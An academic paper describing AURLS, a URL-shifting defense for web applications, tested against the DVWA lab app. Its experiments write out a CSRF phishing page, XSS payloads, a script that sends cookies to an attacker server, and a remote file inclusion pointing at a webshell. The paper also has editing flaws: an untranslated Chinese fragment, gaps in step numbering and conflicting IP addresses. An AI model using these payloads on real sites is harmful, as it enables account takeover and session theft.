**AURLS：An Active Defense Solution for Web Applications Using URL Shifting**

## Abstract

Web security is important for web applications as they are widely used in various fields. In this paper, we proposed a web active defense solution, called AURLS, which combining URL shifting and user identity binding, to achieve "one URL, one user". As an improvement, we further add the URL whitelist technology and fine user access management. Compared with the traditional defense schemes, our solution increases the difficulty for constructing attack, achieve a more accurate user access management and avoid false detection. To verify the proposed solution, we execute comparative experiments on the DVWA and other systems to evaluate the defense effect of AURLS. The results show that AURLS can effectively prevent many high-risk attacks, such as brute force attack, XSS, and phishing, with little interference in user experience and insignificant loss of system performance.

## 1 Introduction

Web applications are widely used in various fields. Besides email, news sites and other traditional applications, many mission-critical tasks are also delivered by web applications, such as e-finance, e-commerce, e-health, e-government. Openness of web applications not only promotes their wider use but also leads to increasingly prominent security issues. Currently, websites are the main targets of hackers, and often suffer from many attacks, such as data tampering, SQL injection, cross-site scripting, command insertion, and buffer overflow. Report [[1](#_ENREF_1" \o "Consortium, 2008 #88)] indicates that 49% of the web applications reviewed contain vulnerabilities considered high risk. A 2009 SANS study found that attacks against web applications constitute more than 60% of the total attack attempts observed on the Internet.

Many techniques have been proposed to secure web applications. They are organized under three categories.

(1) Secure construction of new web applications: This class of technique aims to construct a secure web application by defensive coding approaches to ensure that no potential vulnerabilities exist in the application [[2-5](#_ENREF_2" \o "Huang, 2004 #26)][[6](#_ENREF_6" \o "Antunes, 2012 #12)].

(2) Security analysis/testing of legacy web applications: This class of technique verifies the security properties held by a web application and the vulnerabilities within the application, and is also known as vulnerability analysis [[6-10](#_ENREF_6" \o "Antunes, 2012 #12)].

(3) Runtime protection of legacy web applications: This class of technique aims to protect a potentially vulnerable web application against attacks by building a runtime environment that supports its secure execution [[7-12](#_ENREF_7" \o "Thankachan, 2014 #63)].

This paper focuses on the research of the runtime protection method, and aims to improve the following shortcomings of the existing methods.

(1) The existing methods are mainly based on rules, and have poor defense effectiveness for new vulnerabilities (or zero-day vulnerabilities).

(2) The management of the user's access is mainly based on the IP address, which leads to the management granularity too course. In addition to reducing the detection effect, it sometimes leads to false positives.

(3) The access URL for a system resource is fixed and consistent with all users, so that: (a) the attacker can scan the network topology of the system to find out the vulnerabilities; (b) the attacker can determine the access address of other users, making it convenient for the attacker to construct the attack code.

In this paper, inspired by the idea of one-time-pad, we proposed a web active defense solution based on URL shifting, namely AURLS. This solution dynamically changes the access URL of the system resource, and binds the virtual URL to the user identity to realize "one URL, one user". We further joined the URL whitelist technology and finer user access management to improve system defense capability. Compared with current defense technologies, this method has the following advantages:

(1) It is difficult for an attacker to obtain the network topology of the system by scanning, which can effectively reduce the attack surface for server, and make it hard for attackers to construct attack codes.

(2) The attacker can't obtain URLs for other users. It can prevent attacks against other users, such as reflective XSS, CRSF, phishing links, and so on.

(3) Because each visit can be accurate to a specific user, we can establish more precise model of web access and perform user access management more finely, to protect against XSS, brute force crack, path traversal, etc.

(4) The protection is not based on the rules, so this method can defend against attacks through unknown vulnerabilities to a certain extent.

The remainder of this paper is organized as follows. In section 2, we introduce the related work in web security on the server side. In section 3, we describe the AURLS solution in detail. In section 4, we evaluate the proposed defense mechanism in several systems and discuss these results of the experiments. Finally, we draw conclusions in section 4.

.



Fig. 1 Architecture of AURLS

## 2 Related works

Web application security involves both the client and server sides. In this paper, we narrow our research scope and focus on approaches that are deployed on the server side. Web security technologies for the server side include the traditional protection technology, the MTD technique, the URL rewriting method, etc.

(1) Secure Construction Techniques

Study [[13](#_ENREF_13" \o "OWASP, 2015 #59)] defines a set of general software security coding specifications that can be integrated into the software-development life cycle to reduce the most common software vulnerabilities. In addition, OWASP also recommended a number of web application development processes involved in the common norms. Study [[3](#_ENREF_3" \o "Seacord, 2011 #60)] lists a number of C and C++ applications in development and the relevant security coding specifications, and shows that the incorrect coding may bring security issues.

(2) Security Analysis Techniques

In this kind of method, attention should be paid when choosing a proper assessment tool. Curphey and others recommend eight tools [[14](#_ENREF_14" \o "Curphey, 2006 #68)], including HTTP proxies, web application (black-box) scanners, and database scanners. They also suggest how to select the right tool, with the advantages and disadvantages concerned. Felmetsger, V. et al. proposed an automated detection of application logic vulnerabilities [[15](#_ENREF_15" \o "Felmetsger, 2010 #6)]. They developed a tool, Waler, and applied it to a number of web applications to find previously-unknown logic vulnerabilities. Waler infers specifications that partially capture a web application’s logic and analyzes the inferred specifications with respect to the web application’s code and identify violations. Jovanovic, Kruegel et al. address the problem of vulnerable web applications by static source code analysis[[16](#_ENREF_16" \o "Jovanovic, 2010 #19)]. They present Pixy, a tool for statically detecting XSS and SQL injection vulnerabilities in PHP 4 codes by data flow analysis. Shar et al. proposed an inspiring approach to removing XSS vulnerability by developing a tool, saferXSS [[17](#_ENREF_17" \o "Shar, 2012 #67)].

(3) Runtime Protection Techniques

Many of the techniques used for runtime protection of legacy applications only address one particular type of attack [[18](#_ENREF_18" \o "Rietta, 2006 #20), [19](#_ENREF_19" \o "Kar, 2015 #4)]. Razzaq et al. evaluate different web application firewalls through some necessary features [[20](#_ENREF_20" \o "Razzaq, 2013 #70)]. Instead of detecting the most well-known web vulnerability such as in [[18-20](#_ENREF_18" \o "Rietta, 2006 #20)], WebDefender [[21](#_ENREF_21" \o "Xie, 2007 #71)] is devoted to detecting those attacks based on input validation through pattern recognition, demonstrating good performance with flexibility and expandability. In study [[22](#_ENREF_22" \o "Auxilia, 2010 #73)], a negative security model is presented to detect and prevent common attacks. Based on this, a rule-based Web Application Firewall (WAF) appears, which can mitigate or block almost all existing attacks. Moreover, Tekerek raises a hybrid web application firewall by utilizing signature-based detection and other detection methods [[12](#_ENREF_12" \o "Tekerek, 2014 #74)].

(4) Moving Target Defense Techniques

MTD techniques create moving attack surfaces for web services to introduce diversity and uncertainty. Y. Huang et al applied the MTD concept to constitute a dynamic and uncertain attack surface, including various offline servers rotating to replace online servers [[23](#_ENREF_23" \o "Huang, 2011 #83)]. Similarly, M. Taguinod et al developed two MTD approaches to mitigate several classes of web application vulnerabilities and allow for changing language implementation of the web application and database implementation [[24](#_ENREF_24" \o "Taguinod, 2015 #82)]. However, semantic issues still remain. Besides these traditional techniques, novel moving target defense (MTD) techniques are applied to protect web applications [[23](#_ENREF_23" \o "Huang, 2011 #83), [25](#_ENREF_25" \o "Chu, 2016 #87)]. MTD techniques introduce diversity and uncertainty to create moving attack surfaces for web services, including changing the server-side language, and shifting the database into different implementations. MTD techniques increase the complexity and cost for attackers, and reduce the information asymmetry between the attacker and defender. MTD-based techniques can increase the difficulty of attack, but are still in a theoretical research stage because of the difficulty of implementation.

(5) URL Rewriting Techniques

One of the methods that are similar to the proposed algorithm we present in this paper is URL rewriting. URL rewriting can turn unsightly URLs into nice ones — with a lot less agony and expense than picking a good domain name. Salz, Kuznetsov et al. proposed a method of encoding a remote record identifier that maintains compatibility with active content by creating a new identifier from a base portion and a path and/or query portion. They also disclosed a method of decrypting an encrypted rewritten record identifier and a gateway apparatus for mediating communication between a client system and a server system using the remote record identifier encryption and decryption methods. [[26](#_ENREF_26" \o "Bailiff, 2003 #85), [27](#_ENREF_27" \o "Salz, 2010 #86)]s.

## 3 The AULS Solution

Our solution can be generally divided into two parts, namely the URL shifting and the URL validity check. The URL shifting is responsible for changing dynamically the URLs in a response and binding these shifting URL with the users' identity, to realize "one URL one user." URL validity checking is responsible to check whether the request is valid according to the information stored in the system.

We describe the proposed solutions in the following, including the system architecture, key technologies, and related processes. The main key technologies involved in this solution include the URL shifting, the binding mechanism of the virtual URL and the user identity, and the user access validation.

## 3.1 The architecture of AULS

As illustrated in Fig.1, AULS system consists of three components: the URL shifting module, the URL checking module, and the URL conversion module.

The URL shifting module replaces all URLs in the response from the web server with virtual URLs generated at random. It also binds the shifting URLs with the user identity, and forwards the response transformed to the client.

The URL validity check module receives the request from the client and examines the validity of this request.

If the request is valid, the URL conversion module translates the virtual URL with the original URL, and forwards this request to the web server.

## 3.2 URL shifting

URL Shifting means the URL addresses in a page source are replaced by a randomly generated address. Take the following as an example

/view.php?tid=512&cid=183 /$1adde9a5-6504-4876-b8d7-2e84b87c2005

(a)The original URL (b) the shifted URL

Fig. 1 An example of URL shifting

The URL shifting involves the dynamically generated URLs generated in the client-side, the static URLs and the dynamically generated URLs (include the form URLs) generated on the server-side.

The client-side dynamically generated URLs refer to these URL addresses that generated during page rendering. After web 2.0, there are a number of links generated by the client of the web applications. An example of dynamicallygenerated URL in client-side is demonstrated as followed.

function publish(id)

{

if (confirm('YES？'))

loader.location.href = "**hwnd\_article\_edit.php?cmd=publish&articles=**" + id;

}

Fig 2 An example of dynamically generated URL in client side

On the above figure, when user triggers the *publish* event, browser in client-side will send a request like this: *GET /wescms/hwnd\_article\_edit.php?cmd= publish & articles=1452 HTTP/1.1*. Because this request URL neither is shifted URL, nor is in the global whitelist., AURLS will block this requests to cause the user fail to access the application.

To solve this problem, we develop a tool using a taint analysis method [2-4] to find out all the pages that has the capability of dynamic generation of client-side’s address, then find the relative strings and store them in the form of [URL, token] in the system.

When the URL shifting module in AURLS operate URL shifting in the page that URL points to, by searching the token, it can locate the string to be dealt with. Like *hwnd\_article\_edit.php?cmd=publish & articles=* in the above example, page sources after shifting are as followed.

*function publish(id)*

*{*

*if (confirm('YES？'))*

*loader.location.href = "****&c01669e7-c1ca-4a1a-af7c-8c3bee5fedbb****" + id;*

*}*

Fig3. Source codes of function publish after shifting

After URL shifting, virtual URL corresponding to the event of the *publish* function, is *GET /wescms/&c01669e7-c1ca-4a1a-af7c-8c3bee5fedbb1 452 HTTP/1.1*. Through this way, we solve the incompatibility problem caused by dynamically generated URL in client-side.

The shifting for static URL and dynamically generated URL in the server-side are directly replaced by a random string. The shifting for the form dynamically generated URL in the server-side is similar to the client's dynamically generated URL string replacement, which also uses a tag and fixed length approach.

## 3.3 The bind mechanism of virtual URL and user identity

The simple URL shifting technique can reduce injection points on a web system, which makes it difficult for a hacker to forge an attack code. The simple URL shifting method replaces the URLs in response with the randomly generated URLs and make mappings between the virtual URLs[[1]](#footnote-0) with the real URLs.

However, because these virtual URLs are not associated with the user, the URLs in a page will be shifted again when the page is revisited. It will cause a lot of redundant mappings of virtual URL and real URL in the system. This will greatly reduce the system processing efficiency and increase the page access time, resulting in a serious deterioration of user experience of web access. In addition, after stealing cookies from other users, the attacker can get a valid shifting URL for subsequent attacks.

To this problem, we propose a binding mechanism to tie the user virtual identity[[2]](#footnote-1) with the virtual URLs. By this technique, for the same user, the shifting URL is only generated once for the same URL. If the attacker tries to construct a malicious script and defraud the user's access, like phishing and CSRF, because he or she cannot know the URL belongs to the victim. Thus the URL in the malicious code is not match the victim's identity, this attack will be rejected. The binding mechanism is design as follows:

(1) Each user is identified with a unique token GUID.

(2) Add the following mappings: a) the mapping of the virtual cookies and the GUID; b) the mapping of the virtual cookie and the client IP.

(3) When an HTTP request is received, AURLS checks whether this request carries virtual URL.

If virtual URL (named virtual\_url\_a) does exist, AURLS will obtain its corresponding real URL, then extract virtual cookie from the request, and obtain user’s ID by virtual cookie. Through user’s ID and real URL, it gets the corresponding virtual URL (named virtual\_url\_b). If virtual\_url\_a is not the same as virtual\_url\_b, that means the virtual cookie that the request carries doesn’t correspond with its virtual URL.

If the URL of this request isn’t virtual, AURLS checks if this URL is in the System’s global whitelist. If it is not in, AURLS blocks this access. Otherwise, AURLS checks whether there is a cookie in this request. If there is no cookie, this request is the first visit of this user.If this request carries a virtual cookie, by this virtual cookie, AURLS will obtain client\_ip stored in the system(named client\_ip\_b), and compare it with client\_ip that corresponds with the request(named client\_ip\_a). .If they are identical, it's a case of the user accessing the home page again. If they are different, AURLS will redirect this request to the authentication page.

## **3.4 The mechanism of whitelist**

Generally, whitelist is not applied universally because web applications used to be complex. Hence, prevalent defense mainly apply blacklist, like detect whether requests contain attacks according to rules.

Different from most existing defense, AURLS generally applies whitelist, because URL shifting can have strict control on users’ access. Whitelist in AURLS consists of two kinds of whitelist: global whitelist and user whitelist.

Global whitelist includes a set of all pages that users can access directly with not shifted URL. Main portal websites in web system, like homepage, background login pages, are usually stored in it.

Shifted pages that correspond with users are stored in user whitelist.

## 3.5 The check approach for the validity of user access

There are several criteria for determining the request validity.

(1) The virtual URL in this request is in user whitelist and accords with the cookie in user’s request.

(2) The times or the frequency of accessing is low than the threshold.

(3)The virtual URL and the referrer in HTTP request accord with system’s 2-gram accessing behavior model.

(4)When virtual URL doesn’t generate URL dynamically for the form and client side, the request URL is without the query parameters.

Compared with the access control based on the IP address, each request is corresponding to a specific user under AURLS, so it is possible to perform a finer user access control. The access control policies of AURLS include the total number of visits, the access frequency, the maximum access interval, the 2-gram access pattern for a specific virtual URL, etc. In the following sections, we introduce the URL shifting procedure, and the URL validity checking and conversion procedure in detail.

## 3.6 Procedure of URL shifting

As shown in Fig. 4, the URL shifting procedure mainly includes consists of the following phases: (1) Receive the response from the web server; (2) Generate virtual cookie, and users’ identifiers, bind virtual cookie, users’ identifiers with client-IP; (3) Find out URLs in the response; (4) Generated virtual URLs randomly; (5) Replace real URLs in this response with virtual URL, and update (or set) access policy of virtual URL. More detailed steps of URL shifting is are presented below.

**Begin**

Step 1: Receive the response returned by the web server and parse its header to obtain the cookies.

Step 2: If first-time-visit is true, generate a virtual cookie and a GUID to identify user id, and add two mappings: mapping of virtual cookie and GUID, mapping of virtual cookie and client IP.

Step 3: Check whether the page contains the client dynamically generated URL. If it contains, set the value of flag *client\_dynamic\_url* to be true.

Step 4: Read a character from this web response stream.

Step 5: If a URL is fully read, go to step 6. Otherwise, go to step 7.

Step 6: If this URL is relative, go to step 14. Otherwise go to step 15.

Step 7: Check that the flag *client\_dynamic\_url* value is true and fully read to a string related to a client dynamically generated URL. If it is true, go to step 8. Otherwise, go to step 22.

Step 8: Find out if there is a corresponding virtual string in the system based on the user GUID and the related string. If no, a random virtual string is generated, and the related string is replaced, go to step 9. Otherwise, go to step 12.

Step 9: Add a triple-tuple (uid, actual\_string, virtual\_string) record into system, then go to step 10.

Step 10: Add a two-tuple (virtual\_string, actual\_string) record into system, then go to step 11.

Step 11: Set the timeout threshold, access frequency limit, and maximum access times of this virtual string, then go to step 13.

Step 12: Update the expiration time corresponding to the virtual URL.

Step 13: Replace the actual string in the response web page with the virtual string, then go to step 22.

Step 14: Transform the relative URL to an absolute URL.

Step 15: Query whether there is a corresponding virtual URL according to the user GUID and the absolute URL. If not found, go to step 16. Otherwise go to step 20.

Step 16: Generate a virtual URL at random (If the URL is a form URL, the rule for generating the virtual URL randomly is tag and fixed length).

Step 17: Add a triple-tuple (uid, actual\_url, virtual\_url) record into the map of user and URL.

Step 18: Add a two-tuple (virtual\_url, actual\_url) to the virtual URL mapping table in the system.

Step 19: Set the timeout threshold, access frequency limit, and maximum access times of this virtual URL, then go to step 21.

Step 20: Update the expiration time corresponding to this virtual URL.

Step 21: Replace the actual URL in this response with this virtual URL.

Step 22: Check whether this response has been processed completely. If this processing is finished, go to step 23. Otherwise, return to step 4 again.

Step 23: Send the web page processed to the client.

**End.**



Fig. 4 Flowchart of URL shifting



Fig. 5 Flowchart of URL validity checking and conversion

## 3.7 Procedure of URL validity checking and conversion

In the URL validity checking and conversion procedure (shown in Fig. 5), AURLS checks the validity of a URL in the user’s request and converts the virtual URL to an actual URL. This procedure consists of five phases: (1) Receive HTTP request from client, extract URL and cookie from this request; (2) Check the validity of the URL in this request; (3) Replace virtual URL in this request with the corresponding real URL; (4) Forward the request processed to the web server. This procedure is described in detail as follows:

**Begin.**

Step 1: Receive a request, and extract the URL and the cookie in this request.

Step 2: Check if the URL is a valid virtual URL dynamically generated in the client side. If not, go to step 3. Otherwise, go to step 13.

Step 3: Check if the URL is a valid form virtual URL. If not, go to step 4. Otherwise, go to step 13.

Step 4: Verify that the URL is a valid server dynamically generated virtual URL. If not, go to step 5; otherwise, go to step 13.

Step 5: Check if the URL is a valid static virtual URL. If not, go to step 6. Otherwise go to step 7.

Step 6: Block this request and start intrusion response, and go to **End**.

Step 7: Check if there is a cookie in the request. If a cookie is in this request, go to step 8. Otherwise, step 21.

Step 8: Look up the GUID of user according to this cookie carried by the request. If not found, go to step 6. Otherwise, go to step 9.

Step 9: Obtain the IP address according to this GUID of the user, and then check if the IP address is corresponded to the IP address of the request. If it is not corresponded, it may be that the attacker misappropriates the user's virtual cookie, goes to step 10. If it is corresponding, that is the user visit the home page again, go to step 12.

Step 10: Re-authenticate user. If user authentication is successful, go to step 12; otherwise, go to step 6.

Step 11: Set first-time-visit flag to true.

Step 12: Forward this response to the web server, and go to **End**.

Step 13: Check whether the virtual cookie associated with the user in the system is the same as the one in this request. If they are identical, go to step 14. Otherwise, go to step 6.

Step 14: Check whether the virtual URL is expired (This can be determined by how much time the URL is not accessed. If it is expired, go to step 10. Otherwise, go to step 15.

Step 15: Check the cumulative times of accesses to this virtual URL. If it exceeds the limit value, go to step 10. Otherwise, go to step 16.

Step 16: Check the access frequency for this virtual URL. If it exceeds the limitation, go to step 10. Otherwise, go to step 17.

Step 17: Check whether the *Referer* field for the request is in the system's virtual URL list or in the URL whitelist. If not found, go to step 6. Otherwise, go to step 18.

Step 18: Replace the virtual URL and the *Referer* field in the request with the actual URLs.

Step 19: Check whether the virtual URL of the request and the *Referer* field is in the system's 2-gram access behavior pattern table. If not, go to Step 6. Otherwise, go to step 20.

Step 21: Update the latest access time of this URL, and go to step 13.

**End.**

## 4 Experiments and Discussion

In this section, we evaluate the solution presented in this paper. The test environment is shown in Fig.6, which consists of an AURLS system, a web server (192.168.1.149), an attacker’s server (192.168.1.150), and multiple terminals of client. We evaluate the AURLS solution in terms of three aspects: the protective effect for the web system, compatibility, and the impact on the performance of the web application. The protective effect is measured by what vulnerabilities the AURLS technology can prevent. The indexes of compatibility test include page display consistency, page function consistency, script compatibility, layout consistency and so on. The indexes for the web system’s performance include average response time for accessing web page, and throughput of the web server. In the following section, we describe the evaluation experiment in detail.

## 4.1 Experiments on defense effectiveness test with AURLS

In the system protection experiment, we chose the Damn vulnerable web application (DVWA) [[2](#_ENREF_28" \o ",  #79)8] as the benchmark system. DVWA is a PHP/MySQL web application that is very vulnerable. It has many common web vulnerabilities built-in, including the Top 10 vulnerabilities of the OWASP.

For testing the defense effect of AURLS, we set the security level of the DVWA to *LOW*, and did not install any other protection tools besides AURLS in this experiment. We conducted the penetration test without AURLS and with AURLS. The test methods included manual testing and automated tools.

The tests for DVWA included brute force attack, CSRF, file inclusion, XSS (reflected) and XSS (stored). The detail of the test procedures and results are described as follows.



Fig. 6 Test environment

## 4.1.1 Brute Force Attack

Since DVWA does not apply verification code technology, we carried out password cracking by a brute force attack.

In the case without AURLS, we used the burpsuite tool and soon figured out one user account and password (username: “admin”, password: “password”).

In the case with AURLS, we perform this attack again. Apart from several requests getting normal responses at the beginning, the rest all returned a 403 error. Obviously, the attack failed. The successful defense is attributed to the virtual URL and user identity binding technique.

## 4.1.2 CSRF

In this test, we designed a case to change a password without the victim’s knowledge. The prerequisite of the attack is that the victim is visiting or has visited the password change page and the cookie for this session is stored in the user’s browser. Assuming the link to change the password is “http://192.168.1.149/vulnerabilities/csrf/?password\_new=hacker&password\_conf=hacker&Change=Change”. The attacker induces the victim to visit a phishing link. For example, the attacker sends this victim a phishing link http://192.168.1.150/shopping.html (as shown in Fig.7). If the victim clicks on the link, the page will load a hidden image whose source points to “*http://192.168.1.1*49*/vulnerabilities/csrf/?password*\_*new=hacker&password*\_*conf=hacker&Change=Change”*.

In the case without AURLS, the browser of this victim will automatically and silently access this link to change the password. By checking the server, we found that password had been modified.

In the case with AURLS, it is difficult for an attacker to know the link to change the password. For example, the *italic* font part of the link http://192.168.1.149/ ***048bba5-d147-4bdd-aed2-17cc8eda9f91***?password\_new=hacker&passwprd\_conf=hacker&Change=Change is unpredictable, so the attack doesn’t work. If a virtual URL corresponding to an attacker is used, it will be detected by the identity binding mechanism and blocked. We carried out the attack again, and found that the password hadn’t been modified.

**<!doctype html>**

**<html lang="en">**

**<head>**

**<style>**

**img{**

**display:none;**

**}**

**</style>**

**</head>**

**<body>**

**<img src="http://192.168.1.149/vulnerabilities/csrf/?password\_new=hacker&password\_conf=hacker & Change=Change">**

**<h1>404</h1>**

**<h3>Not found </h3>**

**</body>**

**</html>**

Fig. 7 Source of the phishing page

## 4.1.3 XSS (reflected)

In the case without AURLS, when entering “</ pre> <script> alert ('xss') </ script> <pre>” in the *name* textbox at the page “http://192.168.1.149/ vulnerabilities/xss\_r/vulnerabilities/xss\_r/”, we can trigger XSS (reflected) vulnerability. The attack URL is http://192.168.1.149/vulnerabilities/xss\_r/? name =%3C%2Fpre%3E%3Cscript%3Ealert%28%27xss%27%29%3C%2F script%3E%3C%2Fpre%3E#. It can also be triggered when the link is sent to the victim.

However, in the case with AURLS, the attack link is as follows: http://192.168.1.149/816086c-fd4a-4576 -bc70-a06be110bb49?name=%3C%2Fpre%3E%3C script%3Ealert%28%%27%29%3C%2Fscript%3E%3Cpre%3E. Because the virtual URL is bound with the attacker, even if it sent to other user, it does not work.

## 4.1.4 XSS (stored)

In the XSS defense, we conducted two experiments: (1) using the script to change the password; (2) attack after the attacker steals user virtual cookie and accesses the URL in whitelist with this virtual cookie.

## **4.1.4.1 Experiment using XSS (stored) to change the password**

In the experiment, we input text “<img src= http://192.168.1.149/vulnerabilities/csrf/?password\_new=hacker&password\_conf=hacker&Change= Chan ge alt=“hello”>” in the *Message* textbox at page *http://192.168.1.149/vulnerabilities/xss\_s/*. This code create an *img* tag which source points to the link to change password. After this script is loaded, the browser will access the link to change the password of a victim. In the case without AURLS, when a victim visit the page with the XSS (stored), the browser will load this script and change the password.

In AURLS, we store a 2-gram web access behavior model in the form of <request URL, referrer>, where request URL is the address of request page, referrer is the URL address of the page where request page comes from. Fig 8 is a 2-gram web access behavior record taken from our test system.

http://192.168.1.149/DVWA/vulnerabilities/csrf/?\*, http://192.168.1.149/DVWA/vulnerabilities/csrf/

Fig 8 An example of the record of 2-gram access behavior model

Where ?\* represent that search parameter can be attached to this link, an example is as followed.

*[http://192.168.1.149/DVWA/vulnerabilities/csrf/?password\_new=hacker&password\_conf=hacker&Change=Change#](http://192.168.1.149/DVWA/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change).*

In the above test, attacker initiates an attack link [http://192.168.1.149/DVWA/vulnerabilities/csrf/?password\_new=hacker&password\_conf=hacker&Change=Change#](http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change) in the page *<http://192.168.1.149/ DVWA/vulnerabilities/xss_s/>*. When the user browses the page *http://192.168.1.149/ DVWA/vulnerabilities/ xss\_s/*, AURLS will shift to this attack link. However, this attack request will be block because this request, doesn’t include the concrete referrer (*<http://192.168.1.149/DVWA/vulnerabilities/xss_s/>*).Process of the above tests is specifically described as follows.

(1) Attackers input text “<img src= http://192.168. 1.149/vulnerabilities/csrf/?password\_new=hacker& password\_conf=hacker&Change=Change alt=“hello” >” in the *Message* textbox at page *http://192.168.1.149/ vulnerabilities/xss\_s/*;

(2) Attackers store this text to web server;

(3) Users click and browse the page http://192.168.1. 149/vulnerabilities/xss\_s/;

(4) AURLS shifts the address *http://192.168.1.149* */vulnerabilities/csrf/?password\_new=hacker&password\_conf=hacker&Change=Change* to *http://192.* *168.1.149/***$d2468e7-x1gf-4h2d-jk8e-6j3kll4rtwkk**, andsend response to client side after handling the request;

(5) Browsers in client-side receive the response and render the page, then trigger the link http:// 192.168.1.149/$d2468e7-x1gf-4h2d-jk8e-6j3kll4rtw kk;

(6) AURLS detect the validity of the request url, and replace the virtual URL among it with http://192.168.1.149/vulnerabilities/csrf/?password\_new = hacker& password\_conf=hacker &Change= Change, at the same time, extract referrer from request.

(7) Take [http://192.168.1.149/vulnerabilities/csrf/?\*](http://192.168.1.149/vulnerabilities/csrf/?*) as keyword to search the table of 2-gram accessing behavior model for the corresponding refer, <http://192.168.1.149/DVWA/vulnerabilities/csrf/>.

Obviously, it is unconformity with the referrer in HTTP request’s header. Thus, AURLS will block this access and record this accessing behavior.

## 4.4.1.2 **Experiment using the stolen virtual cookie to access the URL in global whitelist for attack**

In this experiment, we first inject the script "< script > document. Write (' <img SRC = "http://192.168.1.150 /getcookie.PHP?Cookies ='+document.cookie + '/>');" to get the attacker's cookie through the XSS (stored) vulnerability, and then use the cookie to access the homepage of website at http://192.168.1.149/.

In the case without AURLS, the access direct jump to the vulnerability demo page shows that the system cannot effectively defend against such attacks.

However, in the case of the AURLS defense, AURLS will find this request attempts to access pages in global whitelist and carries virtual cookie.，因此AURLS检测请求的客户端ip是否与虚拟cookie对应的ip地址. 因为两者IP地址不同，所以this request is redirected to the authentication page at *http://192.168.1.149/ login.php*. This case shows that the attacker can't effectively launch such attacks after stealing user cookies.

## 4.1.5 File inclusion

In the case without AURLS, we modified the URL to trigger this vulnerability in the page of file inclusion. For instance, we changed the original URL “http://192.168.1.149/dvwa/vulnerabilities/fi/?page = file1.php” to “http://192.168.1.149/ dvwa/vulnerabilities/fi/?page=http://192.168.1.150/oi.php.decode.txt”. The oi.php.decode.txt file is actually a webshell file, which is stored in the remote server (192.168.1.149).

The file inclusion vulnerability is triggered by changing the parameters of the URL. In the case with AURLS, the original URL is encoded as “http://192.168.1.150/2b812669-7b71-49f5-97bd-f8650-1714680” and difficult to modify. We access the page at “http://192.168.1.149/dvwa/ vulner-abilities/fi/?page=http://192.168.1.150/oi.php.decode.txt” again and receive a 403 error. The reason is that URL is not a valid shifting address bound to that user and not in the URL whitelist.

### 4.1.6 Summary

In this section, we give a summary of attack types, implementation mechanism, and a detailed analysis of the reasoning in the Table 1.

**Table 1 Summary table of defense tests on DVWA system**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| Vulnerability | Attack types | Be effective or not | Mechanism of the implement | Reason |
| Brute force attack | attack on server side | effective | Fine-grained management of user’s access behavior | URL shifting allows each visit to be precisely positioned to a specific user, making it possible to perform a fine-grained management of user's behavior. Compared with the previous coarse-grained user behavior management based on IP address, the user behavior management of AURLS is more accurate, which can set a lower access threshold, and avoid false detection under the premise of ensuring safety. |
| CSRF | attack on other users, at client side | effective | URL shifting | The dynamic shifting means attackers unable to guess other users' access URL, greatly increase the difficulty of the attacker to construct attack code. |
| XSS(reflected) | attack on other users, at client side | effective | URL shifting | The dynamic shifting means attackers unable to guess other users' access URL, greatly increase the difficulty of the attacker to construct attack code |
| XSS(stored) | attack on other users | effective | Fine-grained management of user’s access behavior and virtual URL binding with user | The 2-gram user access model can be used to protect the stored XSS vulnerability and to locate accurately the malicious code. The identity binding mechanism associate virtual URL with virtual cookies and IP, and can effectively detect the attack using the stolen virtual cookie. |
| File inclusion | attack on server side | effective | URL shifting and URL whitelist | The technology of URL whitelist prevents attacks by untransformed URLs and requests not corresponding to a user identity. |

From the above experimental results, we can conclude that:

AURLS method converts dynamically generated links in a web page to static links. It significantly reduces the system injection point.

AURLS method significantly improves the system security because the virtual link returned for the different users with the same dynamically generated link is unique, and the attacker cannot guess other user's links. Obviously, the AURLS method can be employed to defend against CRSF, reflection XSS attacks, etc.

AURLS can prevent against brute force attack thanks to the virtual URL and user identity binding technology, which makes it possible to perform user behavior management more precisely.

AURLS can prevent almost all attacks through the URL generated on the server side. However, if the request is with the form parameters entered by clients, such as the form submission. But in general，AURLS technology effectively limits web attack in a smaller range (attacks generated by the client-generated URL). To fend off this problem, we have combined the simple keyword filter technique to prevent attacks in the practice of protecting a website of our University.

### 4.2 Compatibility testing and evaluation of the impact of system performance

**4.2.1 Compatibility testing**

It includes the integrity test of page display, the integrity test of page function, script compatibility test, layout test, etc.

In the experiment, we access the same web page through the client request in the same test environment, in the cases with and without AURLS, and check the differences between them. Although there are some different in the page source, they are consistent in the integrity of page display, the integrity of page function, the script compatibility and the integrity test of page layout.

**4.2.2 The page access time experiment**

In the case of with AURLS and without AURLS defense, the home page of our university website is accessed 100 times (each of which includes 51 requests) and then the average page access time is calculated separately. The experimental results are shown in Figure 9. The page access time are within 2 seconds both the case with AURLS and without AURLS, and all are satisfactory according to the well-known 2-5-8 website usability principles.

**4.2.3 Performance overhead**

To assess the performance impact of web applications in practical usage scenarios, we conducted a load test and a stress test on the homepage of a website of our University(Accessing this page needs 45 requests) with the pylot tool [[29](#_ENREF_29" \o "Goldberg, 2009 #81)]. The web server setup consisted of a standard desktop computer with Intel® i7 4770HQ 2.2G CPU and 2GB RAM, running Windows XP OS, Apache 2.2.3 web server with PHP 5.3.28. The AULRS system setup consisted of a standard desktop computer with Intel® i7 4770HQ 2.2G CPU and 4GB RAM, running Ubuntu Server 16.04 OS, Nginx 1.81 server.

We tested three accessing cases (on direct accessing, on through proxy accessing, and on the AURLS solution). In the case with AURLS, we remove the limit of the maximum number of access times

In the load test, the metrics are the average response time, and the throughput (req/sec). The number of concurrent users is varied from 50 to 400(the request interval is 5 seconds). Each test was ran for 3 minutes.



Fig. 9 Page access time with AURLS defense and without AURLS defense (visit home page, total 51 requests)

 

1. Through(req/sec) in three access ways (b)Average response time(sec) under three access ways

Fig. 10 Performance changes under load testing

Table 2 Maximum throughput test on 100 concurrent users, no access interval, lasting access for 1 minute

|  |  |  |  |
| --- | --- | --- | --- |
| Access method | direct | through reverse proxy | AURLS |
| Total number of requests | 4269 | 4197 | 4148 |

Fig 10(a) shows the throughput under the three access conditions. In the three cases, the through per second of the system is basically the same, especially in the case with fewer concurrent users. Fig 10(b) shows the average response time under the three access conditions. The average response time is increasing after using the proxy server or AULRS defense. From Fig 10(b), we can find that increasing in the average response time in the AURLS is caused by the use of the proxy server, not the URL shifting process and validity check.

In the stress test, the number of concurrent users in each test was 400. From the test results shown in Table 2, we can see that the loss of system performance caused by AURLS method is insignificant. Compared with the direct access, the performance loss by using AURLS is less than 3%. Compared with the proxy way, the performance loss causing by AURLS is less than 1.7%.

